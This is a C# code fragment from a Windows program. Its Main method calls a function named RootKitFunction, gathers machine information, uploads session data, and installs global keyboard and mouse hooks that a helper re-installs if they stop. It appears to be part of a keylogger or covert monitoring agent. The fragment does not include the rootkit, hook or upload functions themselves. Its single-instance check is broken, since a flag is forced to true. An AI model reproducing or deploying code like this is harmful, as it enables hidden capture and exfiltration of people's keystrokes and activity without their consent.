private static void rehook() { if (!GlobalClass.Iskeyhook) { keyboardHook.KeyBordStart(); } if (!GlobalClass.Ismousehook) { MouseHook.MouseStart(); } }
static void Main(string[] args) { Thread.CurrentThread.CurrentCulture = new System.Globalization.CultureInfo("en-US"); RootKitFunction(); bool createdNew; Mutex m = new Mutex(true, Application.ProductName, out createdNew); createdNew = true; if (!createdNew) { // myApp is already running... //MessageBox.Show(Application.ProductName + " is already running!", "Multiple Instances"); GlobalClass.WriteTolog(Application.ProductName + " is already running!"); return; } GlobalClass.WriteTolog("Application Start"); GlobalClass.Iskeyhook = false; GlobalClass.Ismousehook = false; IsSendBlockData = true; IsBlocked = false; GlobalClass.WriteTolog("Add system event with custon event"); GetCofigrationSettings(); AddMachineInfo(); GlobalClass.UploadLocalSessionData(); GlobalClass.SaveNewSessionEntry(); keyboardHook.KeyBordStart(); MouseHook.MouseStart(); Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.SetUnhandledExceptionMode(UnhandledExceptionMode.ThrowException); Application.Run(new MyApplicationContext()); //keyboardHook.KeyBordStop(); //MouseHook.MouseSTOP(); }
private void OnApplicationExit(object sender, EventArgs e) { Console.WriteLine("Close from MyApplicationContext :- OnApplicationExit"); keyboardHook.KeyBordStop(); MouseHook.MouseSTOP(); }